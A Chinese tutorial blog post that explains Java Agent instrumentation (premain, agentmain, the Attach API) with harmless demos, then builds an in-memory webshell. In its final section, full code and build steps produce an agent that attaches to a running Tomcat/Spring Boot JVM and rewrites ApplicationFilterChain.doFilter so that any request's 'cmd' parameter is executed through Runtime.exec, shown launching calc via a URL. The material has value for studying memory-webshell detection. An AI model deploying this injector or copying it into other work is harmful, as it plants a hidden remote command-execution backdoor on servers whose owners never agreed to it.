Java Agent内存马
跟着b站小菜鸡学web走一遍,还是挺复杂的。
jdk9以后没有tools.jar,方式会不一样。
Java Agent既能整内存马,也能整RASP动态防御。
默认有java基础,Javassist,Jsp,JavaEE都会一点
注意:如果不小心注错了jvm进程,导致奇怪的问题,可以重装一下idea。
本篇有一定难度。
文章目录
0. 环境准备
Idea2024.1.2 专业版(应该不影响)
jdk 1.8.0_181 (jdk选1.8系列)
tomcat 8.5.82(应该不影响)
1. 一些概念
1. Java Agent
在Java中,Agent是一种可以在Java应用程序运行时修改或监视类和字节码的工具。
Java agent本质上可以理解为一个插件,该插件就是一个精心提供的jar包。只是启动方式和普通Jar包有所不同,对于普通的Jar包,通过指定类的main函数进行启动。但是Java Agent并不能单独启动,必须依附在一个Java应用程序运行,在面向切面编程方面应用比较广泛。
Java agent 的jar包通过JVMTI(JVM Tool Interface)完成加载,最终借助JPLISAgent(Java Programming Language Instrumentation Services Agent)完成对目标代码的修改。主要功能如下:
- 可以在加载java文件之前做拦截把字节码做修改
- 可以在运行期将已经加载的类的字节码做变更
Java Agent 有两种加载方式:
- premain: 在 JVM 启动时通过 -javaagent 参数指定,在 main 方法执行之前加载。(静态Agent加载)
- agentmain: 在 JVM 启动后,通过 Attach API 动态连接到目标 JVM 进行加载。(动态Agent加载)
核心概念:
-
Instrumentation: java.lang.instrument.Instrumentation 接口提供了操作类定义的方法,例如 redefineClasses、addTransformer 等。
-
ClassFileTransformer: java.lang.instrument.ClassFileTransformer 接口定义了 transform 方法,用于转换类文件字节码。Agent 通过实现该接口来修改类的字节码。
-
MANIFEST.MF: Agent JAR 包的清单文件,需要指定 Premain-Class 或 Agent-Class 属性,以告诉 JVM Agent 的入口类。
其他可选属性包括:Can-Redefine-Classes、Can-Retransform-Classes 等,用于声明 Agent 的能力。
2. Instrumentation API
java.lang.instrument包括以下关键类和接口:
ClassDefinition:此接口提供了用于实施字节码转换和获取对象的相关信息的方法。
ClassFileTransformer:其中的方法 transform 允许我们在类加载到JVM之前对其进行转换。
Instrumentation:提供了大多数代理功能的主接口。
UnmodifiableClassException:这是一个异常,会在尝试修改或重定义它的状态时,由Instrumentation.retransformClasses方法和Instrumentation.redefineClasses方法抛出。
Instrumentation接口及其方法
addTransformer(ClassFileTransformer transformer, boolean canRetransform): 添加一个类文件转换器。
removeTransformer(ClassFileTransformer transformer): 移除一个类文件转换器。
redefineClasses(ClassDefinition... definitions): 重新定义类。
retransformClasses(Class<?>... classes): 改变已经加载到JVM的类。
getObjectSize(Object objectToSize): 返回对象的大小(以字节为单位)。
ClassFileTransformer接口
transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer): 这个方法会在类被加载到JVM之前被调用,它可以修改类的字节码。
通常,使用 Instrumentation API 可以在不重新启动应用程序的情况下修改类的字节码,并在运行时监控和测量应用程序的性能。它还可以用于创建 Java Agent,这是一种在 Java 程序启动时通过命令行参数指定的程序,可以替代或修改类的字节码。
3. VirtualMachine
VirtualMachine是Java提供的一种用于动态加载Java类的机制,是Java虚拟机的一部分,可以通过它在运行时加载和执行Java类。VirtualMachine接口定义了一些用于在虚拟机内部操作的方法,包括加载类、执行方法、获取类信息和设置虚拟机属性等。
VirtualMachine常用的接口有:
attach(String id):连接到具有指定ID的Java虚拟机。
detach():从Java虚拟机断开连接。
loadAgent(String agent):将指定的Java Agent加载到Java虚拟机中。
loadAgentLibrary(String agentLibrary):将指定的库加载到Java虚拟机中。
loadAgentPath(String agentPath):将指定的路径加载到Java虚拟机中。
getSystemProperties():获取Java虚拟机的系统属性。
getAgentProperties():获取Java Agent的属性。
getClassPath():获取Java虚拟机的类路径。
getJvmArgs():获取Java虚拟机的JVM参数。
getInputArguments():获取Java虚拟机的输入参数。
getAllThreads():获取Java虚拟机中所有线程的信息。
getCapabilities():获取Java虚拟机的能力
4. Java中的Attach API
// VirtualMachine等相关Class位于JDK的tools.jar
VirtualMachine vm = VirtualMachine.attach("1234");
// 1234表示目标JVM进程pid
try {
vm.loadAgent(agentJarFilePath, agentArgs);
// agentJarFilePath指定agent的jar包路径,发送给目标进程
// agentArgs是传递给agentmain方法的参数
} finally {
// attach 动作的相反的行为,从 JVM 上面解除一个代理
vm.detach();
}
2. 静态Agent
-
首先要在Java Agent类中实现
premain方法。 -
创建
MANIFEST.MF文件(本文在pom.xml中的打包插件处书写``MANIFEST.MF的内容),设置Premain-Class`属性为你的Java Agent类的全名。 -
其次,使用pom.xml中的打包插件将你的Java Agent类和
MANIFEST.MF文件打包成JAR文件。 -
随后,将你的应用程序编译成class或打包成jar。
-
最后在应用程序启动命令中指定一些特殊参数,以便 JVM 在启动时加载Agent。(或者可以在idea中的
edit configurations中指定VM options)
例如:
java -javaagent:/path/to/agent.jar -jar myapp.jar
-javaagent 参数后面跟着代理程序的JAR文件路径。
-jar 参数后面是要运行的主应用程序的JAR文件。
指定了javaagent参数,则先执行agent.jar中的premain方法,再执行myapp.jar中的main方法。
下面通过静态Agent的方式修改AddNumber类中的函数。
静态Agent的pom.xml文件如下:
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>maven1</artifactId>
<packaging>war</packaging>
<version>1.0-SNAPSHOT</version>
<name>maven1 Maven Webapp</name>
<url>http://maven.apache.org</url>
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>3.8.1</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.55</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version>
</dependency>
<dependency>
<groupId>org.ow2.asm</groupId>
<artifactId>asm</artifactId>
<version>9.6</version>
</dependency>
<dependency>
<groupId>asm</groupId>
<artifactId>asm</artifactId>
<version>3.3.1</version>
</dependency>
<dependency>
<groupId>com.sun.tools.attach</groupId>
<artifactId>tools</artifactId>
<version>1.8.0</version>
<scope>system</scope>
<systemPath>C:/Program Files/Java/jdk1.8.0_181/lib/tools.jar</systemPath>
</dependency>
</dependencies>
<!-- Maven构建配置 -->
<build>
<!-- 插件列表 -->
<plugins>
<!-- 插件配置 -->
<plugin>
<!-- 插件的groupId,用于标识插件所属的组织或项目 -->
<groupId>org.apache.maven.plugins</groupId>
<!-- 插件的artifactId,用于标识具体的插件 -->
<artifactId>maven-jar-plugin</artifactId>
<!-- 插件的版本号 -->
<version>3.2.0</version>
<!-- 插件的配置 -->
<configuration>
<!-- JAR文件的归档配置 -->
<archive>
<!--MANIFEST.MF文件中的条目配置 -->
<manifestEntries>
<!-- 指定Java Agent的预主类,这是Java Instrumentation API的一部分,用于在JVM启动时加载Agent -->
<Premain-Class>com.jk.premain.AgentMain</Premain-Class>
<!-- 允许Agent重新定义已加载的类 -->
<Can-Redefine-Classes>true</Can-Redefine-Classes>
<!-- 允许Agent重新转换已加载的类 -->
<Can-Retransform-Classes>true</Can-Retransform-Classes>
</manifestEntries>
</archive>
</configuration>
</plugin>
<plugin>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>1.8</source>
<target>1.8</target>
<encoding>UTF-8</encoding>
<compilerArguments>
<extdirs>libs</extdirs>
<!-- rt包没有打到项目中去 -->
<verbose />
<!-- C:/Program Files/Java/jdk1.8.0_181是我本地安装的jdk家目录,rt.jar等jar 我在 jdk家目录下的 /jre/lib/ 目录中有发现存在,你们需要注意确认自己的实际情况,Windows分隔符英文分号,linux分隔符英文冒号 -->
<bootclasspath>C:/Program Files/Java/jdk1.8.0_181/jre/lib/rt.jar;C:/Program Files/Java/jdk1.8.0_181/jre/lib/jce.jar;C:/Program Files/Java/jdk1.8.0_181/jre/lib/jsse.jar</bootclasspath>
</compilerArguments>
</configuration>
</plugin>
</plugins>
</build>
</project>
AddNumber.java
package com.jk.premain;
import java.util.Date;
public class AddNumber {
public static void main( String[] args )
{
try{
System.out.println( "main start!" );
AddNumber test = new AddNumber();
Date d = new Date();
System.out.println(d.getTime());
int x1 = 1;
int x2 = 2;
while(true){
System.out.println(Integer.toString(test.add(x1, x2)));
Thread.sleep(2000);
}
} catch (InterruptedException e) {
e.printStackTrace();
System.out.println("main end");
}
}
private int add(int x1, int x2){
return x1+x2;
}
}
MyClassTransformer.java
package com.jk.premain;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class MyClassTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, //这是触发类加载的类加载器
String className, //这是正在被加载的类的完全限定名(例如 java/lang/String)。
Class<?> classBeingRedefined, //如果这个 transform 调用是因为一个类正在被重新定义(例如,通过 JVMTI 的 RedefineClasses 方法),那么这个参数表示正在被重新定义的类的 Class 对象。
ProtectionDomain protectionDomain,
byte[] classfileBuffer)
throws IllegalClassFormatException {
if (className.equals("com/jk/premain/AddNumber")) {
try {
// 从ClassPool获得CtClass对象
System.out.println("start modify class bytes !!!!!!!!!!!!");
final ClassPool classPool = ClassPool.getDefault();
final CtClass clazz = classPool.get("com.jk.premain.AddNumber");
//System.out.println(clazz);
//打印App类中的所有成员函数
CtMethod[] methodList = clazz.getDeclaredMethods();
for(CtMethod method: methodList){
System.out.println("premain method: "+ method.getName());
}
// 获取add函数并替换,$1表示函数的第一个入参
CtMethod convertToAbbr = clazz.getDeclaredMethod("add");
String methodBody = "{return $1 + $2 + 100;}";
convertToAbbr.setBody(methodBody);
// 在add函数体之前增加一段代码,同理也可以在函数尾部添加
methodBody = "System.out.println(Integer.toString($1));\nSystem.out.println(Integer.toString($2));";
convertToAbbr.insertBefore(methodBody);
// 返回字节码,并且detachCtClass对象
byte[] byteCode = clazz.toBytecode();
//detach的意思是将内存中曾经被javassist加载过的Date对象移除,如果下次有需要在内存中找不到会重新走javassist加载
clazz.detach();
return byteCode;
} catch (Throwable ex) {
System.out.println("something wrong??????????");
System.out.println(ex.getMessage());
ex.printStackTrace();
}
}
// 如果返回null则字节码不会被修改
return null;
}
}
AgentMain.java
package com.jk.premain;
import java.lang.instrument.Instrumentation;
public class AgentMain {
public static void premain(String agentArgs, Instrumentation ins) {
ins.addTransformer(new MyClassTransformer(),true);
//添加一个transformer,当监控的java应用每次加载class的时候都会调用transformer
}
}
先clean一下,再用插件打包成jar


最后在Demo主进程中配置agent启动路径,指向该agent jar包
-javaagent:C:\Users\21609\IdeaProjects\maven1\target\maven1-1.0-SNAPSHOT.jar

运行一下,成功!

3. 动态Agent
- 首先在Java Agent类中实现agentmain方法。
- 修改pom.xml,指定
Agent-Class和Boot-Class-Path属性。 - 运行右边栏mvn中的package和jar打包插件。
- 运行待修改的程序。
- 然后运行Maindemo调用Attach API将Java Agent附加到待修改程序运行时的JVM中。(idea中无需指定
VM options)
命令行获取tomcat PID
wmic process where "commandline like '%tomcat%'" get ProcessId
jps -l
pom.xml
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>maven1</artifactId>
<packaging>war</packaging>
<version>1.0-SNAPSHOT</version>
<name>maven1 Maven Webapp</name>
<url>http://maven.apache.org</url>
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>3.8.1</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.55</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version>
</dependency>
<dependency>
<groupId>org.ow2.asm</groupId>
<artifactId>asm</artifactId>
<version>9.6</version>
</dependency>
<dependency>
<groupId>asm</groupId>
<artifactId>asm</artifactId>
<version>3.3.1</version>
</dependency>
<dependency>
<groupId>com.sun.tools.attach</groupId>
<artifactId>tools</artifactId>
<version>1.8.0</version>
<scope>system</scope>
<systemPath>C:/Program Files/Java/jdk1.8.0_181/lib/tools.jar</systemPath>
</dependency>
</dependencies>
<!-- Maven构建配置 -->
<build>
<!-- 插件列表 -->
<plugins>
<!-- 插件配置 -->
<plugin>
<!-- 插件的groupId,用于标识插件所属的组织或项目 -->
<groupId>org.apache.maven.plugins</groupId>
<!-- 插件的artifactId,用于标识具体的插件 -->
<artifactId>maven-jar-plugin</artifactId>
<!-- 插件的版本号 -->
<version>3.2.0</version>
<!-- 插件的配置 -->
<configuration>
<!-- JAR文件的归档配置 -->
<archive>
<!--MANIFEST.MF文件中的条目配置 -->
<manifestEntries>
<!-- 这行有点奇怪 -->
<Boot-Class-Path>lib/javassist.jar</Boot-Class-Path>
<!-- 指定Agent-Class -->
<Agent-Class>com.jk.agentmain.AgentMain</Agent-Class>
<!-- 允许Agent重新定义已加载的类 -->
<Can-Redefine-Classes>true</Can-Redefine-Classes>
<!-- 允许Agent重新转换已加载的类 -->
<Can-Retransform-Classes>true</Can-Retransform-Classes>
</manifestEntries>
</archive>
</configuration>
</plugin>
<plugin>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>1.8</source>
<target>1.8</target>
<encoding>UTF-8</encoding>
<compilerArguments>
<extdirs>libs</extdirs>
<!-- rt包没有打到项目中去 -->
<verbose />
<!-- C:/Program Files/Java/jdk1.8.0_181是我本地安装的jdk家目录,rt.jar等jar 我在 jdk家目录下的 /jre/lib/ 目录中有发现存在,你们需要注意确认自己的实际情况,Windows分隔符英文分号,linux分隔符英文冒号 -->
<bootclasspath>C:/Program Files/Java/jdk1.8.0_181/jre/lib/rt.jar;C:/Program Files/Java/jdk1.8.0_181/jre/lib/jce.jar;C:/Program Files/Java/jdk1.8.0_181/jre/lib/jsse.jar</bootclasspath>
</compilerArguments>
</configuration>
</plugin>
</plugins>
</build>
</project>
AgentMain.java
package com.jk.agentmain;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
public class AgentMain {
public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {
Class[] classes = inst.getAllLoadedClasses();
// 判断类是否已经加载
for (Class aClass : classes) {
if (aClass.getName().equals("com.jk.premain.AddNumber")) {
System.out.println("EditClassName:" + aClass.getName());
// System.out.println("EditMethodName:" + "doFilter");
// 添加 Transformer
inst.addTransformer(new DefineTransformer(), true);
// 触发 Transformer
inst.retransformClasses(aClass);
}
}
}
}
DefineTransformer.java
package com.jk.agentmain;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
public class DefineTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, //这是触发类加载的类加载器
String className, //这是正在被加载的类的完全限定名(例如 java/lang/String)。
Class<?> classBeingRedefined, //如果这个 transform 调用是因为一个类正在被重新定义(例如,通过 JVMTI 的 RedefineClasses 方法),那么这个参数表示正在被重新定义的类的 Class 对象。
ProtectionDomain protectionDomain,
byte[] classfileBuffer)
throws IllegalClassFormatException {
if (className.equals("com/jk/premain/AddNumber")) {
try {
// 从ClassPool获得CtClass对象
System.out.println("start modify class bytes !!!!!!!!!!!!");
final ClassPool classPool = ClassPool.getDefault();
final CtClass clazz = classPool.get("com.jk.premain.AddNumber");
System.out.println(clazz);
//打印App类中的所有成员函数
CtMethod[] methodList = clazz.getDeclaredMethods();
for(CtMethod method: methodList){
System.out.println("premain method: "+ method.getName());
}
// 获取add函数并替换,$1表示函数的第一个入参
CtMethod convertToAbbr = clazz.getDeclaredMethod("add");
String methodBody = "{return $1 + $2 + 100;}";
convertToAbbr.setBody(methodBody);
// 在add函数体之前增加一段代码,同理也可以在函数尾部添加
methodBody = "System.out.println(Integer.toString($1));\nSystem.out.println(Integer.toString($2));";
convertToAbbr.insertBefore(methodBody);
// 返回字节码,并且detachCtClass对象
byte[] byteCode = clazz.toBytecode();
//detach的意思是将内存中曾经被javassist加载过的Date对象移除,如果下次有需要在内存中找不到会重新走javassist加载
clazz.detach();
return byteCode;
} catch (Throwable ex) {
System.out.println("something wrong??????????");
System.out.println(ex.getMessage());
ex.printStackTrace();
}
}
// 如果返回null则字节码不会被修改
return null;
}
}
Maindemo.java
这是一个将agent注入到jvm的jar
package com.jk.agentmain;
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import java.util.List;
public class Maindemo {
public static void main(String[] args) throws Exception{
// 生成jar包的绝对路径
String path = "C:\\Users\\21609\\IdeaProjects\\maven1\\target\\maven1-1.0-SNAPSHOT.jar";
// 列出已加载的jvm
List<VirtualMachineDescriptor> list = VirtualMachine.list();
// 遍历已加载的jvm
for (VirtualMachineDescriptor v:list){
// 打印jvm的 displayName 属性
System.out.println("+++++++++++++++++++++++++");
System.out.println(v.displayName());
System.out.println("+++++++++++++++++++++++++");
// 如果 displayName 为指定的类
if (v.displayName().contains("premain.AddNumber")){
// 打印pid
System.out.println("id >>> " + v.id());
// 将 jvm 虚拟机的 pid 号传入 attach 来进行远程连接
VirtualMachine vm = VirtualMachine.attach(v.id());
// 将我们的 agent.jar 发送给虚拟机
vm.loadAgent(path);
// 解除链接
vm.detach();
}
}
}
}
maven先clean,后package和jar

先运行AddNumber

然后运行Maindemo

可以看到程序运行时被修改了。

4. Agent内存马
非常容易失败,真要整建议直接冰蝎
注入后,访问localhost:8080/如果白屏,高概率成功

如果第二次尝试注入时失败,建议操作部分重来一遍。
1. 项目maven1

pom.xml
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>maven1</artifactId>
<packaging>jar</packaging>
<version>1.0-SNAPSHOT</version>
<name>maven1 Maven Webapp</name>
<url>http://maven.apache.org</url>
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>3.8.1</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.55</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.26.0-GA</version>
</dependency>
<dependency>
<groupId>org.ow2.asm</groupId>
<artifactId>asm</artifactId>
<version>9.0</version>
</dependency>
<dependency>
<groupId>asm</groupId>
<artifactId>asm</artifactId>
<version>3.3.1</version>
</dependency>
<dependency>
<groupId>com.sun.tools.attach</groupId>
<artifactId>tools</artifactId>
<version>1.8.0</version>
<scope>system</scope>
<systemPath>C:/Program Files/Java/jdk1.8.0_181/lib/tools.jar</systemPath>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<version>2.6</version>
<configuration>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
<archive>
<manifestFile>
C:/Users/21609/IdeaProjects/maven1/src/main/resources/META-INF/MANIFEST.MF
</manifestFile>
</archive>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>6</source>
<target>6</target>
</configuration>
</plugin>
</plugins>
</build>
</project>
C:/Users/21609/IdeaProjects/maven1/src/main/resources/META-INF/MANIFEST.MF
Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: com.jk.agentdemo.AgentMain
AgentMain.java
package com.jk.agentdemo;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
import javassist.*;
public class AgentMain {
public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {
Class [] classes = inst.getAllLoadedClasses();
//获取目标JVM加载的全部类
for(Class cls : classes){
if (cls.getName().equals("org.apache.catalina.core.ApplicationFilterChain")){
//添加一个transformer到Instrumentation,并重新触发目标类加载
inst.addTransformer(new memTransformer(),true);
inst.retransformClasses(cls);
}
}
}
}
Maindemo.java
package com.jk.agentdemo;
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import java.util.List;
public class Maindemo {
public static void main(String[] args) throws Exception{
//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){
System.out.println(vmd.displayName());
//遍历每一个正在运行的JVM,如果JVM名称为Sleep_Hello则连接该JVM并加载特定Agent
if(vmd.displayName().contains("Springdemo1Application")){
//连接指定JVM
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
//加载Agent
virtualMachine.loadAgent("C:\\Users\\21609\\IdeaProjects\\maven1\\target\\maven1-1.0-SNAPSHOT-jar-with-dependencies.jar");
//断开JVM连接
virtualMachine.detach();
}
}
}
}
memTransformer.java
package com.jk.agentdemo;
import javassist.*;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.nio.charset.StandardCharsets;
import java.security.ProtectionDomain;
public class memTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
try {
//获取CtClass 对象的容器 ClassPool
ClassPool classPool = ClassPool.getDefault();
//添加额外的类搜索路径
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(ccp);
}
//获取目标类
CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");
//获取目标方法
CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");
//设置方法体 这里谨慎修改
String body = "{" +
"javax.servlet.http.HttpServletRequest request = $1\n;" +
"String cmd=request.getParameter(\"cmd\");\n" +
"if (cmd !=null){\n" +
" Runtime.getRuntime().exec(cmd);\n" +
" }"+
"}";
ctMethod.setBody(body);
//返回目标类字节码
byte[] bytes = ctClass.toBytecode();
return bytes;
}catch (Exception e){
e.printStackTrace();
}
return null;
}
}
2. 项目springdemo1

pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.5.6</version>
</parent>
<groupId>com.jk</groupId>
<artifactId>Springdemo1</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>Springdemo1</name>
<description>Springdemo1</description>
<url/>
<licenses>
<license/>
</licenses>
<developers>
<developer/>
</developers>
<scm>
<connection/>
<developerConnection/>
<tag/>
<url/>
</scm>
<properties>
<java.version>1.8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.55</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
<plugin>
<artifactId>maven-assembly-plugin</artifactId>
<configuration>
<archive>
<manifest>
<mainClass>com.jk.springdemo1.Springdemo1Application</mainClass>
</manifest>
</archive>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
</configuration>
<executions>
<execution>
<id>make-assembly</id> <!-- this is used for inheritance merges -->
<phase>package</phase> <!-- bind to the packaging phase -->
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>
hellocontroller.java
package com.jk.springdemo1.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class hellocontroller{
@RequestMapping(value="/",method = RequestMethod.GET)
public String index(@RequestParam(value="name",required = false,defaultValue = "lihua") String name){
System.out.println("hello");
return "HelloWorld,"+name;
}
}
Springdemo1Application.java
package com.jk.springdemo1;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
public class Springdemo1Application {
public static void main(String[] args) {
SpringApplication.run(Springdemo1Application.class, args);
}
}
MANIFEST.MF
Manifest-Version: 1.0
Main-Class: com.jk.springdemo1.Springdemo1Application
application.properties
spring.application.name=Springdemo1
3. 操作
项目springdemo1
看图操作,clean后package如果时间很长下次就别clean了。:(流汗

项目maven1

浏览器访问一下

切到Maindemo.java下,修改一下loadAgent路径,然后运行

浏览器新建标签页,输网址发现成功!
http://localhost:8080/?cmd=calc

参考
S1nJa
1605

被折叠的 条评论
为什么被折叠?



